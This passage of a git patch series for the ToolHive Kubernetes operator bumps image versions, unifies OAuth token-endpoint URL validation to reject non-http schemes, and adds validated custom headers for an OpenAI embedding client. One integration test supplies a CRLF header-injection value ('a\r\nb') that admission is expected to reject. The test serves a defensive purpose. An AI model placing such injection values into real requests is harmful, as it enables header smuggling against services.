application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for deploying the ToolHive Operator into Kubernetes. @@ -46,7 +46,7 @@ The command removes all the Kubernetes components associated with the chart and |-----|------|---------|-------------| | fullnameOverride | string | `"toolhive-operator"` | Provide a fully-qualified name override for resources | | nameOverride | string | `""` | Override the name of the chart | -| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.32.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.32.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.32.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | +| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.33.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.33.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.33.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | | operator.affinity | object | `{}` | Affinity settings for the operator pod | | operator.autoscaling | object | `{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80}` | Configuration for horizontal pod autoscaling | | operator.autoscaling.enabled | bool | `false` | Enable autoscaling for the operator | @@ -65,7 +65,7 @@ The command removes all the Kubernetes components associated with the chart and | operator.gc | object | `{"gogc":75,"gomemlimit":"110MiB"}` | Go memory limits and garbage collection percentage for the operator container | | operator.gc.gogc | int | `75` | Go garbage collection percentage for the operator container | | operator.gc.gomemlimit | string | `"110MiB"` | Go memory limits for the operator container | -| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.32.0"` | Container image for the operator | +| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.33.0"` | Container image for the operator | | operator.imagePullPolicy | string | `"IfNotPresent"` | Image pull policy for the operator container | | operator.imagePullSecrets | list | `[]` | List of image pull secrets to use | | operator.leaderElectionRole | object | `{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]}` | Leader election role configuration | @@ -92,8 +92,8 @@ The command removes all the Kubernetes components associated with the chart and | operator.serviceAccount.labels | object | `{}` | Labels to add to the service account | | operator.serviceAccount.name | string | `"toolhive-operator"` | The name of the service account to use. If not set and create is true, a name is generated. | | operator.tolerations | list | `[]` | Tolerations for the operator pod | -| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.32.0"` | Image to use for Toolhive runners | -| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.32.0"` | Image to use for Virtual MCP Server (vMCP) deployments | +| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.33.0"` | Image to use for Toolhive runners | +| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.33.0"` | Image to use for Virtual MCP Server (vMCP) deployments | | operator.volumeMounts | list | `[]` | Additional volume mounts on the operator container | | operator.volumes | list | `[]` | Additional volumes to mount on the operator pod | | registryAPI | object | `{"image":"ghcr.io/stacklok/thv-registry-api:v1.3.0"}` | All values for the registry API deployment and associated resources | diff --git a/deploy/charts/operator/values.yaml b/deploy/charts/operator/values.yaml index 1adaf337d0..bee91abfb7 100644 --- a/deploy/charts/operator/values.yaml +++ b/deploy/charts/operator/values.yaml @@ -59,15 +59,15 @@ operator: existingSecretKey: "" # -- Container image for the operator - image: ghcr.io/stacklok/toolhive/operator:v0.32.0 + image: ghcr.io/stacklok/toolhive/operator:v0.33.0 # -- Image pull policy for the operator container imagePullPolicy: IfNotPresent # -- Image to use for Toolhive runners - toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.32.0 + toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.33.0 # -- Image to use for Virtual MCP Server (vMCP) deployments - vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.32.0 + vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.33.0 # -- Host for the proxy deployed by the operator proxyHost: 0.0.0.0 From 879865d71511943477fbba91bdc6a12a1c539a0a Mon Sep 17 00:00:00 2001 From: Jakub Hrozek Date: Thu, 2 Jul 2026 14:23:20 +0100 Subject: [PATCH 06/66] Unify token-endpoint URL validation, fix insecure-mode gap (#5706) jwtbearer.Config.Validate and the XAA strategy each validated OAuth token endpoints independently and had drifted: with the insecure-HTTP flag set, jwtbearer silently accepted non-http(s) schemes like ftp:// because the underlying networking check short-circuits when insecure mode is enabled, while xaa.go compensated with its own scheme check that jwtbearer lacked. Extract the check into jwtbearer.ValidateTokenURL, enforce the scheme requirement unconditionally, and have both call sites delegate to it so the behavior can no longer diverge. Closes #5686. Fixes: 5686 --- pkg/oauthproto/jwtbearer/doc.go | 3 +- pkg/oauthproto/jwtbearer/grant.go | 54 ++++++++++++++++---------- pkg/oauthproto/jwtbearer/grant_test.go | 9 +++++ pkg/vmcp/auth/strategies/xaa.go | 38 +----------------- pkg/vmcp/auth/strategies/xaa_test.go | 10 +++++ 5 files changed, 56 insertions(+), 58 deletions(-) diff --git a/pkg/oauthproto/jwtbearer/doc.go b/pkg/oauthproto/jwtbearer/doc.go index 2ec13d970f..812ddbc5eb 100644 --- a/pkg/oauthproto/jwtbearer/doc.go +++ b/pkg/oauthproto/jwtbearer/doc.go @@ -3,5 +3,6 @@ // Package jwtbearer provides an OAuth 2.0 JWT Bearer Grant (RFC 7523) implementation. // It exchanges a JWT assertion (such as an ID-JAG) for an access token at a target -// authorization server. +// authorization server. It also exposes ValidateTokenURL, a shared token-endpoint +// URL validator reused by other OAuth token-exchange strategies in this repo. package jwtbearer diff --git a/pkg/oauthproto/jwtbearer/grant.go b/pkg/oauthproto/jwtbearer/grant.go index 3b1f605f04..47564febb9 100644 --- a/pkg/oauthproto/jwtbearer/grant.go +++ b/pkg/oauthproto/jwtbearer/grant.go @@ -55,39 +55,51 @@ type Config struct { InsecureAllowHTTP bool } -// Validate checks that the Config contains all required fields. -func (c *Config) Validate() error { - if c.TokenURL == "" { - return fmt.Errorf("TokenURL is required") - } - - if c.AssertionProvider == nil { - return fmt.Errorf("AssertionProvider is required") - } - - // Validate TokenURL: must be https (or http on localhost) per RFC 6749 Section 3.2 - // and RFC 7523 Section 7. Reuses the repo-wide endpoint validator for scheme, - // and adds host and fragment checks that it does not perform. - if err := networking.ValidateEndpointURLWithInsecure(c.TokenURL, c.InsecureAllowHTTP); err != nil { - return fmt.Errorf("TokenURL: %w", err) +// ValidateTokenURL checks that a token endpoint URL is syntactically valid: an +// http or https scheme, a host, no fragment, and no embedded credentials. The +// http(s)-only scheme check is enforced unconditionally, even when +// insecureAllowHTTP is true — insecureAllowHTTP only relaxes the HTTPS +// requirement (permitting plain HTTP on any host, not just localhost), it does +// not permit other schemes such as ftp://. label prefixes every error message +// (e.g. "TokenURL", "IDPTokenURL") so call sites can identify which field +// failed. Shared by jwtbearer.Config.Validate and the vMCP XAA strategy +// (pkg/vmcp/auth/strategies), which both validate OAuth token endpoints. +func ValidateTokenURL(label, endpoint string, insecureAllowHTTP bool) error { + if err := networking.ValidateEndpointURLWithInsecure(endpoint, insecureAllowHTTP); err != nil { + return fmt.Errorf("%s: %w", label, err) } - u, err := url.Parse(c.TokenURL) + u, err := url.Parse(endpoint) if err != nil { - return fmt.Errorf("TokenURL is not a valid URL: %w", err) + return fmt.Errorf("%s is not a valid URL: %w", label, err) + } + if u.Scheme != "http" && u.Scheme != "https" { + return fmt.Errorf("%s must use http or https scheme", label) } if u.Host == "" { - return fmt.Errorf("TokenURL must include a host") + return fmt.Errorf("%s must include a host", label) } if u.Fragment != "" { - return fmt.Errorf("TokenURL must not contain a fragment") + return fmt.Errorf("%s must not contain a fragment", label) } if u.User != nil { - return fmt.Errorf("TokenURL must not contain embedded credentials") + return fmt.Errorf("%s must not contain embedded credentials", label) } - return nil } +// Validate checks that the Config contains all required fields. +func (c *Config) Validate() error { + if c.TokenURL == "" { + return fmt.Errorf("TokenURL is required") + } + + if c.AssertionProvider == nil { + return fmt.Errorf("AssertionProvider is required") + } + + return ValidateTokenURL("TokenURL", c.TokenURL, c.InsecureAllowHTTP) +} + // String implements fmt.Stringer for Config, redacting sensitive fields. func (c *Config) String() string { assertion := oauthproto.Redact("") diff --git a/pkg/oauthproto/jwtbearer/grant_test.go b/pkg/oauthproto/jwtbearer/grant_test.go index 32449a8566..2b2f22362e 100644 --- a/pkg/oauthproto/jwtbearer/grant_test.go +++ b/pkg/oauthproto/jwtbearer/grant_test.go @@ -99,6 +99,15 @@ func TestConfig_Validate(t *testing.T) { }, wantErr: "must use HTTPS", }, + { + name: "non-http scheme is rejected even with InsecureAllowHTTP", + config: Config{ + TokenURL: "ftp://as.example.com/token", + InsecureAllowHTTP: true, + AssertionProvider: func() (string, error) { return testAssertion, nil }, + }, + wantErr: "must use http or https scheme", + }, { name: "fragment is rejected", config: Config{ diff --git a/pkg/vmcp/auth/strategies/xaa.go b/pkg/vmcp/auth/strategies/xaa.go index 016b8fae15..4864aaed4a 100644 --- a/pkg/vmcp/auth/strategies/xaa.go +++ b/pkg/vmcp/auth/strategies/xaa.go @@ -18,7 +18,6 @@ import ( "github.com/stacklok/toolhive-core/env" "github.com/stacklok/toolhive/pkg/auth" - "github.com/stacklok/toolhive/pkg/networking" "github.com/stacklok/toolhive/pkg/oauthproto" "github.com/stacklok/toolhive/pkg/oauthproto/jwtbearer" "github.com/stacklok/toolhive/pkg/oauthproto/tokenexchange" @@ -315,39 +314,6 @@ func (*XAAStrategy) performStepB( return token.AccessToken, nil } -// validateTokenURL checks that a configured token endpoint is a syntactically -// valid HTTPS (or localhost HTTP) URL with a host and no fragment. Mirrors the -// validator in pkg/oauthproto/jwtbearer.Config.Validate. -func validateTokenURL(label, endpoint string) error { - return validateTokenURLWithInsecure(label, endpoint, false) -} - -// validateTokenURLWithInsecure is like validateTokenURL but allows plain HTTP -// when allowInsecureHTTP is true. Used for the TargetTokenURL when -// InsecureTargetTokenURL is set. -func validateTokenURLWithInsecure(label, endpoint string, allowInsecureHTTP bool) error { - if err := networking.ValidateEndpointURLWithInsecure(endpoint, allowInsecureHTTP); err != nil { - return fmt.Errorf("%s: %w", label, err) - } - u, err := url.Parse(endpoint) - if err != nil { - return fmt.Errorf("%s is not a valid URL: %w", label, err) - } - if u.Scheme != "https" && u.Scheme != "http" { - return fmt.Errorf("%s must use http or https scheme", label) - } - if u.Host == "" { - return fmt.Errorf("%s must include a host", label) - } - if u.Fragment != "" { - return fmt.Errorf("%s must not contain a fragment", label) - } - if u.User != nil { - return fmt.Errorf("%s must not contain embedded credentials", label) - } - return nil -} - // resolveClientSecret resolves a client secret from either a direct value or an // environment variable. If both are provided, the direct value takes precedence. // Returns an error if a secret source requires a client ID but none is provided, @@ -415,10 +381,10 @@ func (s *XAAStrategy) parseXAAConfig(strategy *authtypes.BackendAuthStrategy) (* // Token endpoint URL shape: must be https (or http on localhost), have a // host, and not carry a fragment. Applied to both IdP and target endpoints. - if err := validateTokenURL("IDPTokenURL", cfg.IDPTokenURL); err != nil { + if err := jwtbearer.ValidateTokenURL("IDPTokenURL", cfg.IDPTokenURL, false); err != nil { return nil, err } - if err := validateTokenURLWithInsecure("TargetTokenURL", cfg.TargetTokenURL, cfg.InsecureTargetTokenURL); err != nil { + if err := jwtbearer.ValidateTokenURL("TargetTokenURL", cfg.TargetTokenURL, cfg.InsecureTargetTokenURL); err != nil { return nil, err } diff --git a/pkg/vmcp/auth/strategies/xaa_test.go b/pkg/vmcp/auth/strategies/xaa_test.go index fb25ac7fb7..247faf1c0c 100644 --- a/pkg/vmcp/auth/strategies/xaa_test.go +++ b/pkg/vmcp/auth/strategies/xaa_test.go @@ -378,6 +378,16 @@ func TestXAAStrategy_Validate(t *testing.T) { }), expectError: "embedded credentials", }, + { + name: "InsecureTargetTokenURL=true still rejects non-http scheme in TargetTokenURL", + strategy: createXAAStrategy(func(cfg *authtypes.XAAConfig) { + cfg.IDPTokenURL = testIDPTokenURL + cfg.TargetTokenURL = "ftp://target.example.com/token" + cfg.TargetAudience = testTargetAudience + cfg.InsecureTargetTokenURL = true + }), + expectError: "TargetTokenURL must use http or https scheme", + }, { name: "InsecureTargetTokenURL=true does not relax IDPTokenURL validation", strategy: createXAAStrategy(func(cfg *authtypes.XAAConfig) { From 71ed00c8ce6eb89fca8075607dfbd3b81d65f2b6 Mon Sep 17 00:00:00 2001 From: Gabriel Cosi <44176694+gabrielcosi@users.noreply.github.com> Date: Thu, 2 Jul 2026 23:10:40 +0200 Subject: [PATCH 07/66] Allow custom HTTP headers on the OpenAI embedding client (#5704) Add custom HTTP headers to OpenAI embedding client Gateways in front of OpenAI-compatible embedding services often key behavior (routing, response-cache scoping) off a request header, but the optimizer's OpenAI client only sent Content-Type and Authorization. Add an optional spec.config.optimizer.embeddingHeaders map applied to every embedding request. Admission rejects non-openai providers, reserved names (Authorization, Content-Type), and invalid RFC 7230 header names via CEL, and bounds values through OpenAPI schema constraints; config load mirrors the checks for non-Kubernetes config sources. The client sets its protocol headers last so custom headers can never override them. Closes #5700 --- .../virtualmcpserver_embedding_cel_test.go | 82 ++++++++++++++++ ...olhive.stacklok.dev_virtualmcpservers.yaml | 52 ++++++++++ ...olhive.stacklok.dev_virtualmcpservers.yaml | 52 ++++++++++ docs/operator/crd-api.md | 3 + .../virtual-mcps/vmcp_optimizer_openai.yaml | 4 + pkg/vmcp/config/config.go | 20 ++++ pkg/vmcp/config/zz_generated.deepcopy.go | 9 +- .../internal/similarity/embedding_client.go | 3 +- .../internal/similarity/openai_client.go | 16 ++- .../openai_client_integration_test.go | 2 +- .../internal/similarity/openai_client_test.go | 59 ++++++++++- pkg/vmcp/optimizer/internal/types/types.go | 5 + pkg/vmcp/optimizer/optimizer.go | 58 ++++++++++- pkg/vmcp/optimizer/optimizer_test.go | 98 +++++++++++++++++++ 14 files changed, 450 insertions(+), 13 deletions(-) diff --git a/cmd/thv-operator/test-integration/virtualmcp/virtualmcpserver_embedding_cel_test.go b/cmd/thv-operator/test-integration/virtualmcp/virtualmcpserver_embedding_cel_test.go index 1512d7adf3..c1a5efc278 100644 --- a/cmd/thv-operator/test-integration/virtualmcp/virtualmcpserver_embedding_cel_test.go +++ b/cmd/thv-operator/test-integration/virtualmcp/virtualmcpserver_embedding_cel_test.go @@ -5,6 +5,9 @@ package controllers import ( + "fmt" + "strings" + . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega" @@ -53,4 +56,83 @@ var _ = Describe("CEL Validation for embedding provider on VirtualMCPServer", err := k8sClient.Create(ctx, vmcp) Expect(err).NotTo(HaveOccurred()) }) + + It("should reject embeddingHeaders with the tei provider", func() { + vmcp := newVirtualMCPServerWithOptimizer("vmcp-headers-tei", + &vmcpconfig.OptimizerConfig{ + EmbeddingProvider: "tei", + EmbeddingService: "http://embeddings.example:8080", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }) + err := k8sClient.Create(ctx, vmcp) + Expect(err).To(HaveOccurred()) + Expect(err.Error()).To(ContainSubstring( + "embeddingHeaders is only supported when embeddingProvider is 'openai'")) + }) + + It("should reject embeddingHeaders when the provider is defaulted to tei", func() { + vmcp := newVirtualMCPServerWithOptimizer("vmcp-headers-default", + &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://embeddings.example:8080", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }) + err := k8sClient.Create(ctx, vmcp) + Expect(err).To(HaveOccurred()) + Expect(err.Error()).To(ContainSubstring( + "embeddingHeaders is only supported when embeddingProvider is 'openai'")) + }) + + It("should accept embeddingHeaders with the openai provider", func() { + vmcp := newVirtualMCPServerWithOptimizer("vmcp-headers-openai", + &vmcpconfig.OptimizerConfig{ + EmbeddingProvider: "openai", + EmbeddingService: "http://gateway.example:8080", + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }) + err := k8sClient.Create(ctx, vmcp) + Expect(err).NotTo(HaveOccurred()) + }) + + It("should reject reserved names, invalid names, and unsafe values in embeddingHeaders", func() { + for i, tc := range []struct { + headers map[string]vmcpconfig.EmbeddingHeaderValue + want string + }{ + {map[string]vmcpconfig.EmbeddingHeaderValue{"Authorization": "Bearer x"}, "must not include Authorization or Content-Type"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"authorization": "Bearer x"}, "must not include Authorization or Content-Type"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"Content-Type": "application/json"}, "must not include Authorization or Content-Type"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"content-type": "application/json"}, "must not include Authorization or Content-Type"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"": "value"}, "names must be valid HTTP header names"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"x bad": "value"}, "names must be valid HTTP header names"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": ""}, "should be at least 1 chars long"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "a\r\nb"}, "should match"}, + {map[string]vmcpconfig.EmbeddingHeaderValue{ + "x-cache-key": vmcpconfig.EmbeddingHeaderValue(strings.Repeat("a", 8193)), + }, "8192"}, + } { + vmcp := newVirtualMCPServerWithOptimizer(fmt.Sprintf("vmcp-headers-reject-%d", i), + &vmcpconfig.OptimizerConfig{ + EmbeddingProvider: "openai", + EmbeddingService: "http://gateway.example:8080", + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: tc.headers, + }) + err := k8sClient.Create(ctx, vmcp) + Expect(err).To(HaveOccurred(), "headers %v should be rejected", tc.headers) + Expect(err.Error()).To(ContainSubstring(tc.want)) + } + }) + + It("should accept uncommon but valid RFC token characters in header names", func() { + vmcp := newVirtualMCPServerWithOptimizer("vmcp-headers-token-chars", + &vmcpconfig.OptimizerConfig{ + EmbeddingProvider: "openai", + EmbeddingService: "http://gateway.example:8080", + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-key'name`x": "value"}, + }) + err := k8sClient.Create(ctx, vmcp) + Expect(err).NotTo(HaveOccurred()) + }) }) diff --git a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml index 82f66b27dd..20c8b0f8ef 100644 --- a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml +++ b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml @@ -1810,6 +1810,22 @@ spec: instead of all backend tools directly. This reduces token usage by allowing LLMs to discover relevant tools on demand rather than receiving all tool definitions. properties: + embeddingHeaders: + additionalProperties: + description: |- + EmbeddingHeaderValue is a custom embedding request header value: 1 to 8192 + characters with no control characters other than tab. + maxLength: 8192 + minLength: 1 + pattern: ^[^\x00-\x08\x0A-\x1F\x7F]*$ + type: string + description: |- + EmbeddingHeaders holds additional HTTP headers sent with every embedding + request. Only supported when EmbeddingProvider is "openai". Values are + stored in plain text and must not contain secrets; Authorization + (derived from OPENAI_API_KEY) and Content-Type cannot be set. + maxProperties: 32 + type: object embeddingModel: description: |- EmbeddingModel is the model name requested from the embedding service @@ -1887,6 +1903,16 @@ spec: pattern: ^([0-9]*[.])?[0-9]+$ type: string type: object + x-kubernetes-validations: + - message: embeddingHeaders is only supported when embeddingProvider + is 'openai' + rule: '!has(self.embeddingHeaders) || (has(self.embeddingProvider) + && self.embeddingProvider == ''openai'')' + - message: embeddingHeaders names must be valid HTTP header names + and must not include Authorization or Content-Type + rule: '!has(self.embeddingHeaders) || self.embeddingHeaders.all(k, + k.matches(''^[!#$%&\\x27*+.^_\\x60|~0-9A-Za-z-]+$'') && !(k.lowerAscii() + in [''authorization'', ''content-type'']))' outgoingAuth: description: |- OutgoingAuth configures how the virtual MCP server authenticates to backends. @@ -5216,6 +5242,22 @@ spec: instead of all backend tools directly. This reduces token usage by allowing LLMs to discover relevant tools on demand rather than receiving all tool definitions. properties: + embeddingHeaders: + additionalProperties: + description: |- + EmbeddingHeaderValue is a custom embedding request header value: 1 to 8192 + characters with no control characters other than tab. + maxLength: 8192 + minLength: 1 + pattern: ^[^\x00-\x08\x0A-\x1F\x7F]*$ + type: string + description: |- + EmbeddingHeaders holds additional HTTP headers sent with every embedding + request. Only supported when EmbeddingProvider is "openai". Values are + stored in plain text and must not contain secrets; Authorization + (derived from OPENAI_API_KEY) and Content-Type cannot be set. + maxProperties: 32 + type: object embeddingModel: description: |- EmbeddingModel is the model name requested from the embedding service @@ -5293,6 +5335,16 @@ spec: pattern: ^([0-9]*[.])?[0-9]+$ type: string type: object + x-kubernetes-validations: + - message: embeddingHeaders is only supported when embeddingProvider + is 'openai' + rule: '!has(self.embeddingHeaders) || (has(self.embeddingProvider) + && self.embeddingProvider == ''openai'')' + - message: embeddingHeaders names must be valid HTTP header names + and must not include Authorization or Content-Type + rule: '!has(self.embeddingHeaders) || self.embeddingHeaders.all(k, + k.matches(''^[!#$%&\\x27*+.^_\\x60|~0-9A-Za-z-]+$'') && !(k.lowerAscii() + in [''authorization'', ''content-type'']))' outgoingAuth: description: |- OutgoingAuth configures how the virtual MCP server authenticates to backends. diff --git a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml index bf51183620..95b6a9d942 100644 --- a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml +++ b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml @@ -1813,6 +1813,22 @@ spec: instead of all backend tools directly. This reduces token usage by allowing LLMs to discover relevant tools on demand rather than receiving all tool definitions. properties: + embeddingHeaders: + additionalProperties: + description: |- + EmbeddingHeaderValue is a custom embedding request header value: 1 to 8192 + characters with no control characters other than tab. + maxLength: 8192 + minLength: 1 + pattern: ^[^\x00-\x08\x0A-\x1F\x7F]*$ + type: string + description: |- + EmbeddingHeaders holds additional HTTP headers sent with every embedding + request. Only supported when EmbeddingProvider is "openai". Values are + stored in plain text and must not contain secrets; Authorization + (derived from OPENAI_API_KEY) and Content-Type cannot be set. + maxProperties: 32 + type: object embeddingModel: description: |- EmbeddingModel is the model name requested from the embedding service @@ -1890,6 +1906,16 @@ spec: pattern: ^([0-9]*[.])?[0-9]+$ type: string type: object + x-kubernetes-validations: + - message: embeddingHeaders is only supported when embeddingProvider + is 'openai' + rule: '!has(self.embeddingHeaders) || (has(self.embeddingProvider) + && self.embeddingProvider == ''openai'')' + - message: embeddingHeaders names must be valid HTTP header names + and must not include Authorization or Content-Type + rule: '!has(self.embeddingHeaders) || self.embeddingHeaders.all(k, + k.matches(''^[!#$%&\\x27*+.^_\\x60|~0-9A-Za-z-]+$'') && !(k.lowerAscii() + in [''authorization'', ''content-type'']))' outgoingAuth: description: |- OutgoingAuth configures how the virtual MCP server authenticates to backends. @@ -5219,6 +5245,22 @@ spec: instead of all backend tools directly. This reduces token usage by allowing LLMs to discover relevant tools on demand rather than receiving all tool definitions. properties: + embeddingHeaders: + additionalProperties: + description: |- + EmbeddingHeaderValue is a custom embedding request header value: 1 to 8192 + characters with no control characters other than tab. + maxLength: 8192 + minLength: 1 + pattern: ^[^\x00-\x08\x0A-\x1F\x7F]*$ + type: string + description: |- + EmbeddingHeaders holds additional HTTP headers sent with every embedding + request. Only supported when EmbeddingProvider is "openai". Values are + stored in plain text and must not contain secrets; Authorization + (derived from OPENAI_API_KEY) and Content-Type cannot be set. + maxProperties: 32 + type: object embeddingModel: description: |- EmbeddingModel is the model name requested from the embedding service @@ -5296,6 +5338,16 @@ spec: pattern: ^([0-9]*[.])?[0-9]+$ type: string type: object + x-kubernetes-validations: + - message: embeddingHeaders is only supported when embeddingProvider + is 'openai' + rule: '!has(self.embeddingHeaders) || (has(self.embeddingProvider) + && self.embeddingProvider == ''openai'')' + - message: embeddingHeaders names must be valid HTTP header names + and must not include Authorization or Content-Type + rule: '!has(self.embeddingHeaders) || self.embeddingHeaders.all(k, + k.matches(''^[!#$%&\\x27*+.^_\\x60|~0-9A-Za-z-]+$'') && !(k.lowerAscii() + in [''authorization'', ''content-type'']))' outgoingAuth: description: |- OutgoingAuth configures how the virtual MCP server authenticates to backends. diff --git a/docs/operator/crd-api.md b/docs/operator/crd-api.md index d783eadb4a..c6372fc93b 100644 --- a/docs/operator/crd-api.md +++ b/docs/operator/crd-api.md @@ -455,6 +455,8 @@ _Appears in:_ | `action` _string_ | Action defines the action to take when the user declines or cancels
- skip_remaining: Skip remaining steps in the workflow
- abort: Abort the entire workflow execution
- continue: Continue to the next step | abort | Enum: [skip_remaining abort continue]
Optional: \{\}
| + + #### vmcp.config.FailureHandlingConfig @@ -567,6 +569,7 @@ _Appears in:_ | `embeddingServiceTimeout` _[vmcp.config.Duration](#vmcpconfigduration)_ | EmbeddingServiceTimeout is the HTTP request timeout for calls to the embedding service.
Defaults to 30s if not specified. | 30s | Pattern: `^([0-9]+(\.[0-9]+)?(ns\|us\|µs\|ms\|s\|m\|h))+$`
Type: string
Optional: \{\}
| | `embeddingProvider` _string_ | EmbeddingProvider selects the wire protocol used to talk to the embedding
service. "tei" speaks the HuggingFace Text Embeddings Inference API;
"openai" speaks the OpenAI-compatible /embeddings API, which lets the
optimizer use OpenAI, Azure OpenAI, or another OpenAI-compatible gateway.
Defaults to "tei" when empty.
The "openai" provider reads EmbeddingService directly and cannot be combined
with EmbeddingServerRef, which provisions a managed TEI server; the operator
rejects that combination at admission. | tei | Enum: [tei openai]
Optional: \{\}
| | `embeddingModel` _string_ | EmbeddingModel is the model name requested from the embedding service
